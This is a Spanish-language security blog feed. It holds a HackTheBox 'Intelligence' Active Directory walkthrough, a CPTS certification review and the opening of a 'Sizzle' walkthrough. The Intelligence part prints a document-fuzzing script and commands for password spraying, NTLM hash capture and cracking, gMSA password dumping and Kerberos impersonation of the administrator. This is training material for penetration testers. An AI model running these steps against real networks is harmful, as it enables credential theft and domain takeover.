<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://t3tsv0.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://t3tsv0.github.io/" rel="alternate" type="text/html" /><updated>2025-06-04T02:08:55+00:00</updated><id>https://t3tsv0.github.io/feed.xml</id><title type="html">H4RRIZN</title><subtitle>Cyber Security &amp; Offensive Security Content</subtitle><author><name>H4RRIZN</name></author><entry><title type="html">Intelligence - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/09/28/htb-intelligence.html" rel="alternate" type="text/html" title="Intelligence - HackTheBox Writeup" /><published>2024-09-28T00:00:00+00:00</published><updated>2024-09-28T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/09/28/htb-intelligence</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/09/28/htb-intelligence.html"><![CDATA[<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/logo.png" alt="logo" /></p>

<h2 id="reconocimiento-inicial">Reconocimiento Inicial</h2>

<p>Como siempre comenzamos con un scan de nmap hacia el host victima para identificar puertos abiertos:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/00.png" alt="00" /></p>

<p>Tenemos diversos puertos abiertos típicos de un AD. Lanzamos un nuevo scan para obtener más información de los servicios y versiones en estos puertos:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/0.png" alt="0" /></p>

<p>Podemos determinar en base a la captura el nombre del dominio (dc.intelligence.htb) fuera de eso no vemos información más relevante. Añadiremos el dominio encontrado al fichero /etc/hosts:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/1.png" alt="1" /></p>

<h2 id="reconocimiento-web">Reconocimiento Web</h2>

<p>Ingresamos al servidor web:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/2.png" alt="2" /></p>

<p>Al investigar por la web no notamos nada particularmente interesante. Podemos visualizar 2 documentos disponibles <code class="language-plaintext highlighter-rouge">2020-01-01-upload.pdf</code> y <code class="language-plaintext highlighter-rouge">2020-12-15-upload.pdf</code> ubicados en <code class="language-plaintext highlighter-rouge">http://intelligence.htb/documents</code>:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/3.png" alt="3" /></p>

<p>Los documentos no tienen nada interesante en si, solo texto genérico:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/4.png" alt="4" /></p>

<p>Al descargarlos y analizar los metadatos con exiftool podemos identificar que tenemos 2 usuarios; William.Lee y Jose.Williams</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exiftool documents.pdf
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/5.png" alt="5" /></p>

<p>Vemos que al validar estos con crackmapexec no vemos si el usuario es valido o no, podemos utilizar Kerbrute para enumerar estos usuarios:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/6.png" alt="6" /></p>

<p>Como vemos son usuarios válidos, sin embargo no tenemos ninguna contraseña. Luego de agotar mis posibilidades buscando recursos en SMB con sesiones nulas decidí seguir buscando en el servidor web. Como pude obtener 2 usuarios validos de los PDF que descargue decidí revisar el directorio <strong><code class="language-plaintext highlighter-rouge">documents</code>:</strong></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/7.png" alt="7" /></p>

<p>Como no es posible ingresar decidí construir un pequeño script en python el cual realice fuzzing sobre las fechas de los documentos con el fin de encontrar algún documento extra. (Es posible realizar esto con el intruder de Burp. Pero para fines prácticos decidí construir el script).</p>

<h3 id="fuzzing-pdfs">Fuzzing PDFs</h3>

<p>Sabemos que los documentos que tenemos <code class="language-plaintext highlighter-rouge">2020-01-01-upload.pdf</code> y <code class="language-plaintext highlighter-rouge">2020-12-15-upload.pdf</code> comparten el mismo año (2020). Entonces solo recorreré los meses y días:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import itertools
from concurrent.futures import ThreadPoolExecutor

base_url <span class="o">=</span> <span class="s2">"http://intelligence.htb/documents/"</span>
year <span class="o">=</span> <span class="s2">"2020"</span>

meses <span class="o">=</span> <span class="o">[</span><span class="s2">"{:02d}"</span>.format<span class="o">(</span>m<span class="o">)</span> <span class="k">for </span>m <span class="k">in </span>range<span class="o">(</span>1, 13<span class="o">)]</span>
dias <span class="o">=</span> <span class="o">[</span><span class="s2">"{:02d}"</span>.format<span class="o">(</span>d<span class="o">)</span> <span class="k">for </span>d <span class="k">in </span>range<span class="o">(</span>1, 32<span class="o">)]</span>
fechas <span class="o">=</span> itertools.product<span class="o">(</span>meses, dias<span class="o">)</span>

total_documentos <span class="o">=</span> 0

def buscar_documento<span class="o">(</span>fecha<span class="o">)</span>:
    global total_documentos
    url <span class="o">=</span> f<span class="s2">"{base_url}{fecha}-upload.pdf"</span>
    response <span class="o">=</span> requests.get<span class="o">(</span>url<span class="o">)</span>
    <span class="k">if </span>response.status_code <span class="o">==</span> 200:
        total_documentos +<span class="o">=</span> 1
        print<span class="o">(</span>f<span class="s2">"Documento encontrado: {url}"</span><span class="o">)</span>

with ThreadPoolExecutor<span class="o">(</span><span class="nv">max_workers</span><span class="o">=</span>10<span class="o">)</span> as executor:
    executor.map<span class="o">(</span>buscar_documento, <span class="o">[</span>f<span class="s2">"{year}-{mes}-{dia}"</span> <span class="k">for </span>mes, dia <span class="k">in </span>fechas]<span class="o">)</span>

print<span class="o">(</span>f<span class="s2">"Total de documentos encontrados: {total_documentos}"</span><span class="o">)</span>
</code></pre></div></div>

<p>Al ejecutar el script y esperar a que finalice vemos como resultado un total de 84 documentos:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/8.png" alt="8" /></p>

<p>Hemos encontrado 84 documentos disponibles, si bien el script nos muestra todas las URL disponibles seria mucho trabajo entrar una por una y revisar su contenido además de tener que descargarlos para luego extraer la metadata y crear una lista de usuario. Además es posible que estos documentos contengan información relevante como detalles de cuentas o incluso contraseñas. Pero nada que un poco de scripting no solucione. El <a href="https://github.com/H4RRIZN/CTFRepo/tree/main/Hack%20The%20Box%20-%20Intelligence">script final se encontrará en este repositorio</a> para su uso libre:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/9.png" alt="9" /></p>

<p>Como se aprecia el resultado final del script muestra que en el documento <strong><code class="language-plaintext highlighter-rouge">2020-06-04-upload.pdf</code></strong> se ha encontrado un texto relacionado a nuevas cuentas con la contraseña <strong>NewIntelligenceCorpUser9876.</strong> En el documento <strong><code class="language-plaintext highlighter-rouge">2020-12-30-upload.pdf</code></strong> se habla de un usuario Ted que está almacenando un script en algún lugar.</p>

<h3 id="creando-una-lista-de-usuarios">Creando una lista de usuarios</h3>

<p>Tenemos una contraseña valida y previamente hemos encontrado usuarios validos en los metadatos de los documentos. Ahora que contamos con 84 documentos vale la pena buscar más usuarios. El script almacena los documentos en una carpeta llamada “documentos”:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/10.png" alt="10" /></p>

<p>podemos utilizar exiftool en combinación con expresiones regulares para crear una lista de usuarios:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exiftool <span class="k">*</span>.pdf | <span class="nb">grep</span> <span class="s2">"Creator"</span> | <span class="nb">awk</span> <span class="s1">'{print $3}'</span> | <span class="nb">sort</span> <span class="nt">-u</span> | <span class="nb">tee users</span>
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/11.png" alt="11" /></p>

<h3 id="validación-de-usuarios-con-kerbrute">Validación de usuarios con kerbrute</h3>

<p>Observamos que al utilizar kerbrute para validar los usuarios todos los usuarios son validos en el sistema:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/12.png" alt="12" /></p>

<p>Con estos y una contraseña disponible podemos probar un ataque de Password Spraying para ver si la contraseña funciona para alguno de estos usuarios:</p>

<h2 id="password-spraying">Password Spraying</h2>

<p>Para realizar el ataque utilizare kerbrute de la siguiente forma:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/13.png" alt="13" /></p>

<p>Y el usuario “Tiffany.Molina@intelligence.htb” es válido. El mensaje de (Clock slow is too great) es porque nuestra hora no esta sincronizada con la del host victima. Podemos actualizar está con ntpdate:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/14.png" alt="14" /></p>

<h2 id="smb---tiffany">SMB - Tiffany</h2>

<p>Ya que tenemos credenciales realizare la enumeración del servicio smb:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/15.png" alt="15" /></p>

<p>Como vemos tenemos acceso de lectura a varias carpetas en las que destacan IT y Users. comenzare por observar el contenido de la carpeta Users. Al ingresar podemos ver que tenemos las carpetas de los usuarios en la que se encuentra la carpeta del usuario <strong>Ted.Graves</strong>. Recordemos que este está almacenando un script en algún lado.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient //10.10.10.248/Users <span class="nt">-U</span> <span class="s2">"Tiffany.Molina"</span>
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/16.png" alt="16" /></p>

<p>Vemos que no es posible listar el contenido de la carpeta del usuario Ted.Graves:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/17.png" alt="17" /></p>

<p>Al enumerar el recurso IT observamos un script en powershell llamado <strong>downdetector.ps1</strong>. Lo descargamos con get:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/18.png" alt="18" /></p>

<p>A continuación observamos el contenido del script:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/19.png" alt="19" /></p>

<p>Vemos que este script en PowerShell verifica el estado de los servidores web cuyos nombres comienzan con “web” en la zona DNS intelligence.htb. Finalmente Ted.Graves envía un correo electrónico si alguno de los servidores está caído. Teniendo todo esto en cuenta podemos utilizar la herramienta <a href="https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py">dnstool.py</a> para realizar una consulta dns agregando un servidor web el cual no existe, con el fin de capturar la petición de la red con responder.</p>

<h2 id="hash---tedgraves">Hash - Ted.Graves</h2>

<p>Iniciaremos responder con la configuración por defecto:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>responder <span class="nt">-I</span> tun0
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/20.png" alt="20" /></p>

<p>A continuación realizaremos la consulta con dnstool de la siguiente forma:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/21.png" alt="21" /></p>

<p>Al esperar los 5 minutos como indica el script downdetector.ps1 podemos ver que responder capturó un hash Net-NTLMv2 del usuario Ted.Graves:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/22.png" alt="22" /></p>

<h3 id="crackeando-el-hash">Crackeando el hash</h3>

<p>Procedemos a crackear el hash, utilizare hashcat y el diccionario de contraseñas rockyou:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 5600 ted_hash rockyou.txt
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/23.png" alt="23" /></p>

<p>Ahora tenemos la contraseña **Mr.<REDACTED>** del usuario **Ted.Graves**</REDACTED></p>

<h2 id="enum---ted-graves">Enum - Ted Graves</h2>

<p>Luego de buscar con smb en el directorio del usuario algo interesante no pude dar con nada. Asi que utilizare bloodhound-python para enumerar el dominio:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/24.png" alt="24" /></p>

<p>Obtendremos algunos ficheros .json los cuales deberemos comprimir para poder subir a BloodHound. En mi caso utilice zip:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/25.png" alt="25" /></p>

<p>Cargamos el zip a BloodHound y seleccionamos en el Nodo de inicio al usuario Ted.Graves y presionamos click derecho sobre este y seleccionamos la opción <strong>Mark User as Owned:</strong></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/26.png" alt="26" /></p>

<p>Ahora seleccionamos Shortest Path from Owned Principals en la pestaña de <strong>Analysis</strong></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/27.png" alt="27" /></p>

<p>A continuación observamos que pertenecemos al grupo ITSUPPORT.</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/28.png" alt="28" /></p>

<p>Siguiendo el flujo podemos ver que SVC_INT$@INTELLIGENCE.HTB es una cuenta de servicio gestionada por grupo. El grupo ITSUPPORT@INTELLIGENCE.HTB puede recuperar la contraseña de la GMSA del usuario SVC_INT$@INTELLIGENCE.HTB.</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/29.png" alt="29" /></p>

<p>Finalmente vemos que el usuario SVC_INT$@INTELLIGENCE.HTB tiene el privilegio de delegación restringida a DC.INTELLIGENCE.HTB.</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/30.png" alt="30" /></p>

<h2 id="obtención-de-hash-nt-de-svc_int">Obtención de hash NT de SVC_INT</h2>

<p>Como sabemos gracias a bloodhound podemos leer la contraseña GMSA del usuario svc_int. Utilizare la herramienta <a href="https://github.com/micahvandeusen/gMSADumper">gMSADumper</a> para este proposito:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 gMSADumper.py <span class="nt">-u</span> <span class="s1">'ted.graves'</span> <span class="nt">-p</span> <span class="s1">'Mr.&lt;REDACTED&gt;'</span> <span class="nt">-d</span> <span class="s1">'intelligence.htb'</span>
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/31.png" alt="31" /></p>

<h2 id="shell-as-admin">Shell as Admin</h2>

<p>Siguiendo la ruta de BlooHound ahora podriamos solicitar un TGT para el usuario Administrador utilizando la herramienta getST de impacket:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-getST <span class="nt">-dc-ip</span> 10.10.10.248 <span class="nt">-spn</span> www/dc.intelligence.htb <span class="nt">-hashes</span> :486b1ed222932&lt;REDACTED&gt; <span class="nt">-impersonate</span> administrator intelligence.htb/svc_int
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/32.png" alt="32" /></p>

<p>Como vemos se ha almacenado el ticket en el fichero <code class="language-plaintext highlighter-rouge">administrator.ccache</code> podemos utilizar wmiexec de impacket para conectarnos realizando un “Pass The Hash” con el parametro -k. Lo primero que debemos hacer es exportar la variable <code class="language-plaintext highlighter-rouge">KRB5CCNAME</code> con el valor del ticket:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/33.png" alt="33" /></p>

<p>A continuación podemos realizar el procedimiento mencionado y leer la flag del usuario Administrator</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CTFIMG/Intelligence/34.png" alt="34" /></p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Active Directory" /><category term="Windows" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">HTB - Certified Penetration Testing Specialist (CPTS) Review 2024</title><link href="https://t3tsv0.github.io/certs/2024/09/17/cert-htbcpts.html" rel="alternate" type="text/html" title="HTB - Certified Penetration Testing Specialist (CPTS) Review 2024" /><published>2024-09-17T00:00:00+00:00</published><updated>2024-09-17T00:00:00+00:00</updated><id>https://t3tsv0.github.io/certs/2024/09/17/cert-htbcpts</id><content type="html" xml:base="https://t3tsv0.github.io/certs/2024/09/17/cert-htbcpts.html"><![CDATA[<p>Hola a todos! luego de meses largos y agitados intentando complementar el trabajo, los estudios y los hobbies puedo decir que soy Certified Penetration Testing Specialists (CPTS) de Hack The Box. 🫡</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CERTIMG/cpts%20aproved.webp" alt="certpwned" /></p>

<p>A continuación, comparto mi experiencia con esta certificación, abordando desde la preparación hasta la valoración final.</p>
<h2 id="preparación">Preparación</h2>

<p>Para poder rendir el examen, es necesario completar el PATH de <a href="https://academy.hackthebox.com/paths/jobrole">Penetration Tester</a>.
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CERTIMG/Penetration%20Tester%20Path.png" alt="pentestpath" /></p>

<p>Sobre el material proporcionado, para mí es un 10 de 10. El contenido es directo y no se da vueltas innecesarias en aspectos que podemos profundizar por nuestra cuenta. Para mi esto fue crucial ya que me permitió concentrarme en los conceptos clave. Aún si tienes experiencia estoy seguro que aprenderás cosas nuevas incluso si creías que ya dominabas algunos conceptos de los módulos del path.</p>

<p>Además, el path es amigable para quienes están comenzando, ya que enseña desde conceptos básicos hasta avanzados, y los módulos se actualizan constantemente. Completar el PATH es prácticamente una obligación si deseas obtener la certificación; sin embargo, también lo recomiendo a aquellos que simplemente quieran aprender o afianzar conocimientos.</p>

<p>En cuanto a mi preparación, Tengo la fortuna de trabajar en el área de seguridad ofensiva y no he dejado de estudiar TTPs, nuevos ataques, herramientas, etc, desde hace un buen par de años lo que significa que he estado constantemente capacitandome. Esto me ayudó a sentirme fresco con la terminal. No quiero decir que se necesiten años de experiencia para estar listo y mucho menos estar trabajando en el campo de infosec, pero es fundamental familiarizarse con todo el contenido presentado en los módulos del PATH.</p>

<p>En mi caso, ya tenía experiencia en la mayoría de los módulos, excepto en Active Directory, por lo que reforcé esta área realizando máquinas de Active Directory de Hack The Box y tomando notas del módulo <a href="https://academy.hackthebox.com/module/details/143">“Active Directory Enumeration &amp; Attacks”</a> de HTB Academy. Para quienes estén comenzando o tengan más “debilidades”, es útil realizar máquinas relacionadas con estos módulos. HTB Academy tiene una <a href="https://academy.hackthebox.com/academy-lab-relations">herramienta poderosa</a> para facilitar este trabajo; por ejemplo, si necesitamos reforzar Pivoting, seleccionamos el módulo y se despliegan las máquinas relevantes:</p>
<video src="https://github.com/H4RRIZN/H4RRIZN.github.io/raw/refs/heads/master/_includes/CERTIMG/academyxlabs.mp4" width="500" height="240" controls=""></video>

<p>El consejo que daría a quienes se están preparando para el examen es tener un enfoque estructurado y disciplinado. Es importante desarrollar la habilidad de administrar tu tiempo para trabajar de forma eficiente. Estudia de manera balanceada, duerme lo suficiente y toma descansos para mantenerte en óptimas condiciones durante la preparación y durante el transcurso del examen.</p>

<p>Asegúrate de conocer los temas y habilidades según el temario del examen. Aunque la práctica es crucial, no subestimes la importancia de la teoría. Un sólido entendimiento de los conceptos es esencial, así que toma buenas notas y crea tu propia CheatSheet.</p>

<h2 id="mi-experiencia-general">Mi experiencia general</h2>
<p>La verdad fue bastante desafiante para mí, ya que Active Directory no es mi día a día, pero logré certificarme con 100 puntos. En este último tiempo, he estado fortaleciendo mi conocimiento en infraestructura y redes, así como en Active Directory. Diría que no fue sencillo; sentí que el tiempo me presionaba constantemente. Casi sentí que estaba en una carrera contra el reloj. A pesar de la presión, la experiencia fue buena, ya que el laboratorio se mantuvo estable en todo momento.
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CERTIMG/exam%20feed.png" alt="100points" /></p>

<p>Mi expectativa antes de comenzar era encontrarme con una cadena de ataque de las que solo Hack The Box sabe hacer. Si has tocado máquinas CTF en la plataforma de Hack The Box, sabrás a lo que me refiero. Me refería a una cadena de ataque en la que muchas veces tienes que pensar fuera de la caja. Sabía que sería un examen desafiante, el cual superó mis expectativas.</p>

<p>En cuanto a la dificultad del examen, creo que realmente dependerá de cuán afianzados tengas los conceptos presentados. Mi talón de Aquiles era Active Directory, por lo que enfoqué mi preparación en este aspecto (reflejado en mis últimos writeups). Sin ánimo de hacer <strong>spoiler</strong>, algunas explotaciones no eran complejas, más bien un poco rebuscadas; no a nivel descabellado, pero sí requerían pensar un poco fuera de la caja.</p>

<p>Sin duda, no es un examen sencillo. Utilicé los 10 días disponibles para el desarrollo del examen y del informe. Tomando mis descansos obviamente. A pesar de tener experiencia en CTFs, certificaciones y trabajo en el sector, no subestimaría la dificultad de esta certificación. Es desafiante y requiere preparación. El examen fue una cadena de ataque compleja y emocionante basado en un proyecto real. Por lo que a pesar de sentir que podia encontrar una <strong>missconfiguration</strong> en cualquier parte no senti la sensación de una dificultad artificial forzada en el transcurso del examen.</p>

<p>Finalmente mi reporte contuvo un total de 170 paginas, en mi caso utilice el template proporcionado por Hack The Box. Y luego de enviar el informe y esperar un par de semanas obtuve el certificado.</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/refs/heads/master/_includes/CERTIMG/CPTS.png" alt="cert" /></p>

<h2 id="conclusión">Conclusión</h2>

<p>Para concluir, me gustaría realizar un pequeño PROS vs CONTRAS del examen.
Pros:</p>
<ul>
  <li>El examen es asequible y el contenido es excelente para su costo.</li>
  <li>Soporte prácticamente instantáneo; en mi caso, siempre estaban ahí cuando necesitaba ayuda con algun problema durante el desarollo de los laboratorios de los modulos. La eficiencia de las respuestas me sorprendió gratamente.</li>
  <li>El laboratorio se mantuvo estable en todos los ataques, y no experimenté pérdidas de conexión en ningún momento.</li>
</ul>

<p>Contras:</p>
<ul>
  <li>Puede sonar contradictorio dado el último PRO mencionado, pero hubo un punto en el examen en el que tuve que reiniciar el laboratorio más de tres veces. Esto me frustró un poco, ya que no sabía si estaba ante un rabbit hole o si mis payloads no funcionaban. Sin embargo, luego de un reinicio y probando el mismo ataque dio frutos. Por lo que el único contra del examen seria ese.</li>
</ul>

<p>La certificación CPTS de Hack The Box es una excelente oportunidad para quienes buscan desafiarse y validar sus habilidades en pentesting. Sin duda el valor del contenido y la calidad de la enseñanza son indiscutibles.</p>

<p>Gracias por llegar hasta acá, Happy Hacking! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="Certs" /><category term="Certification" /><category term="Active Directory" /><category term="Windows" /><category term="Pivoting" /><category term="Linux" /><category term="Privilege Escalation" /><summary type="html"><![CDATA[Hola a todos! luego de meses largos y agitados intentando complementar el trabajo, los estudios y los hobbies puedo decir que soy Certified Penetration Testing Specialists (CPTS) de Hack The Box. 🫡]]></summary></entry><entry><title type="html">Sizzle - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/04/14/htb-sizzle.html" rel="alternate" type="text/html" title="Sizzle - HackTheBox Writeup" /><published>2024-04-14T00:00:00+00:00</published><updated>2024-04-14T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/04/14/htb-sizzle</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/04/14/htb-sizzle.html"><![CDATA[<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/37ba34f53af9833615d1a9af6988044e39784fa5/_includes/CTFIMG/Sizzle/Logo.png" alt="logo" /></p>

<h2 id="reconocimiento-inicial">Reconocimiento inicial</h2>

<p>Para comenzar realizaremos un scan con nmap para detectar los puertos abiertos en el host victima:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sS</span> <span class="nt">--min-rate</span> 1500 <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-n</span> <span class="nt">-Pn</span> <span class="nt">-vv</span> 10.10.10.103
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Recon1.png" alt="Recon1" /></p>

<p>Tenemos una buena cantidad de puertos abiertos. Realizamos otro scan para detectar las versión sobre los servicios detectados. En este caso ignorare los puertos más altos con servicio <strong>unknown</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sCV</span> <span class="nt">-p21</span>,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001 10.10.10.103 <span class="nt">-oN</span> port_scan
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Recon2.png" alt="Recon2" /></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Recon3.png" alt="Recon3" /></p>

<p>De las capturamos podemos ver:</p>

<ul>
  <li>Podemos iniciar sin credenciales al servidor ftp</li>
  <li>Servidor IIS 10.0 en puertos 80 y 443</li>
  <li>El servicio winrm está habilitado para conectarse con y sin ssl</li>
</ul>

<p>Desde este punto comenzare enumerando el servidor ftp.</p>

<h2 id="recon---ftp">Recon - FTP</h2>

<p>Nos conectamos como usuario Anonymous sin credenciales:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/ftp1.png" alt="ftp1" /></p>

<p>Al listar los recursos no tenemos resultados, y al intentar depositar un fichero se nos denegara el acceso:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/ftp2.png" alt="ftp2" /></p>

<p>Con esto en mente y sin mucha información enumerare el servidor web:</p>

<h2 id="recon---web">Recon - Web</h2>

<p>Al ingresar por http solo se muestra un gif de bacon a la plancha:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Web1.png" alt="web1" /></p>

<p>Mediante https vemos lo mismo:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Web2.png" alt="web2" /></p>

<h3 id="fuzzing">Fuzzing</h3>

<p>Como no tenemos más que un bacon realizare fuzzing sobre los puertos encontrados comenzando por http. Utilizare la herramienta dirsearch para realizar esto:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dirsearch <span class="nt">-u</span> http://10.10.10.103/ <span class="nt">-x</span> 404,403 <span class="nt">-t</span> 100
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Fuzz1.png" alt="fuzz1" /></p>

<p>Hemos encontrado un directorio relevante llamado <strong><a href="https://learn.microsoft.com/es-es/system-center/scom/obtain-certificate-windows-server-and-operations-manager?view=sc-om-2022&amp;tabs=Enterp%2CEnter">certsrv</a></strong> el cual corresponde a AD el cual se utiliza para obtener certificados para utilizar con servidores Windows. Lamentablemente al ingresar a esta ruta notamos que se nos solicitan credenciales:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/Fuzz2.png" alt="fuzz2" /></p>

